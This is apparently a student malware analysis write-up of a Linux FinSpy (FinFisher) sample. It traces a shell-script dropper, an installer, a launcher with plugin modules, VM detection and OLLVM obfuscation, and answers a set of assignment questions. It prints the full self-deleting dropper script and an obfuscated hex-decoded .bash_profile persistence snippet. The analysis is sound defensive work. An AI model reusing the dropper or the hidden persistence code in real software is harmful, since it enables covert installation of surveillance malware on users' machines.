FinSpy (also known as FinFisher) is commercial surveillance software historically marketed to governments and law enforcement. The Linux sample analysed here is a multi-stage dropper that leans heavily on OLLVM obfuscation to resist static analysis.
SHA256: 1e9162cd0941557304a6a097dfaadf59f90bc8bbaa9879afe67b5ce0d1514be8
Tools: REMnux, Kali, Ghidra, JoeSandbox, VirusTotal, Hybrid-Analysis
Stage 1 — task3.bin: The Dropper Shell Script
task3.bin is a shell script with an embedded ELF payload. It detects the system architecture via od, then carves out the matching binary using grep/tail, drops it as /tmp/udev2, makes it executable, and runs it. The original file then deletes itself.
#!/bin/sh
ELF_MAGIC=7f
arch=`od -j4 -N1 -An -t u1 < /bin/sh | tr -d ' '`
case $arch in
1)
ARCHIVE=`grep --text --line-number '^__x86xx__$' "$0" | cut -d ':' -f 1` ;;
2)
ARCHIVE=`grep --text --line-number '^__x64xx__$' "$0" | cut -d ':' -f 1` ;;
*)
exit 0 ;;
esac
ARCHIVE=$((ARCHIVE+1))
tail -n +$ARCHIVE $0 > /tmp/udev2 && chmod +x /tmp/udev2
if [ -n "$SUDO_USER" ]; then
su -c /tmp/udev2 $SUDO_USER
else
/tmp/udev2
fi
if [ "$?" -eq 0 ]; then
rm -rf "$0"
fi
exit 0
__x86xx__
ELFThe JoeSandbox process tree confirms this:
sh (PID: 5220) → /tmp/task3.bin
od -j4 -N1 -An -t u1 ← probe architecture
grep ^__x64xx__$ /tmp/task3.bin ← locate payload boundary
cut -d : -f 1
tail -n +10905 /tmp/task3.bin ← carve out ELF
chmod +x /tmp/udev2
Stage 2 — udev2: Installer
udev2 drops the actual malware components and sets up persistence. Files dropped:
hald— the main launcher (ELF)- Multiple
.sofiles — presumed plugin modules - Multiple
.datfiles — presumed per-module config or extensions
All files land in a hidden directory named .saturnino in the user’s home directory, created by udev2.

Persistence is achieved by patching .bash_profile to relaunch the malware on login. The patch is obfuscated — paths are hex-encoded inline and decoded at runtime using sed, awk, and dc:
if [ ! -n "$CS_FONT" ]; then
CS_FONT_RID="2F686F6D652F73617475726E696E6F2F2E71742F2E62696E"
CS_FONT_ID="2E2F68616C64"
CS_FONT_COL="6364"
CS_FONT_COLF=`echo ${CS_FONT_COL} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'`
CS_FONT_SID=`echo ${CS_FONT_RID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'`
CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'`
...
${CS_FONT_COLF} ${CS_FONT_SID} && ${CS_FONT_LOAD} > /dev/null 2>&1
fiDecoded, the variables resolve to:
CS_FONT_RID→/home/saturnino/.qt/.binCS_FONT_ID→./haldCS_FONT_COL→cd
So the persistence mechanism is: cd /home/saturnino/.qt/.bin && ./hald.
Stage 3 — hald: Launcher
hald is the main launcher and the most interesting component. Its process tree is large — it runs a significant amount of reconnaissance:
- Reads various system parameters
- Queries status of wireless interfaces and technologies
- Searches for local tools that could enable WiFi attacks

hald also drops three additional .so modules into .saturnino:
wbcm.somcli.sogtkx.so
Obfuscation
Ghidra immediately flags something is wrong:
/* WARNING: Control flow encountered bad instruction data */
/* WARNING: Instruction at (ram,0x00403f6b) overlaps instruction at (ram,0x00403f6a) */The binary was compiled with clang version 3.5.0 based on LLVM 3.5.0svn using the OLLVM obfuscation pass. The technique used is Bogus Control Flow:
This method modifies a function call graph by adding a basic block before the current basic block. This new basic block contains an opaque predicate and then makes a conditional jump to the original basic block. The original basic block is also cloned and filled up with junk instructions chosen at random.
The effect: the control flow graph becomes so tangled that Ghidra’s decompiler can’t reconstruct anything useful. Control flow flattening also appears to be present but couldn’t be conclusively confirmed.
This same OLLVM pass is applied to the shell scripts embedded in the binary — even at the scripting layer, the control flow is deliberately disrupted.
Anti-Analysis
Virtual Machine Detection
hald checks whether it’s running inside a VM using:
CPUIDinstructionlspcidmesg
Suspicious File Activity
The malware interacts with an unusually high number of files with specific flag combinations, likely as an anti-debug measure. From the sandbox file activity log:


FinSpy VM
Research on this malware repeatedly references the concept of a “FinSpy VM” — a custom obfuscated virtual machine that the malware constructs at runtime to further protect its real code. This could not be confirmed through static analysis of these samples, but it would explain why static analysis proves so difficult. If the binary self-decrypts or reconstructs malicious code at runtime, patching and executing may be the only way to expose it.
Relevant research:
- FinSpy: unseen findings — Securelist
- FinSpy VM Part 2: VM Analysis and Bytecode Disassembly — msreverseengineering.com
Summary — Key Questions Q&A
Q1 — Extract the 64-bit dropper from task3.bin. How does this stage work?
A — task3.bin is a polyglot: a shell script with an embedded ELF appended after a marker line (__x64xx__). The script probes the CPU architecture, locates the correct marker with grep, and carves out the ELF using tail. It runs the dropped binary, then deletes itself.
Q2 — Analyze the dropper. How does it extract more files (including the launcher)?
A — udev2 creates the hidden .saturnino directory, drops hald and a set of .so / .dat module files, and patches .bash_profile with an obfuscated launch command that runs hald on every login.
Q3 — Analyze the launcher. How does it launch the malware’s main modules?
A — hald runs reconnaissance and loads plugin modules (wbcm.so, mcli.so, gtkx.so) from the hidden directory. The exact loading mechanism couldn’t be fully traced due to obfuscation.
Q4 — Which anti-debug tricks do you find in the launcher? How do they work?
A — VM detection via CPUID, lspci, and dmesg. Unusually high file I/O activity also hints at additional anti-debug behaviour. The OLLVM obfuscation itself is the biggest obstacle — the junk instructions and bogus control flow prevent the decompiler from producing anything meaningful.
Q5 — What kind of code obfuscation techniques do you find in the launcher?
A — OLLVM Bogus Control Flow and likely Control Flow Flattening, compiled with clang 3.5.0/LLVM 3.5.0svn. Applied to both native code and embedded shell scripts.
Q6 — What might the obfuscation hide? Argue from the context.
A — Most likely a decryption or self-restoration engine. The architecture (dropper → launcher → plugins) and the OLLVM obfuscation strongly suggest the actual malicious code is protected and restored at runtime — consistent with the “FinSpy VM” model described in the research above. C&C communication routines and capability modules are also plausible candidates. Patching the binary and tracing execution dynamically would be the next step.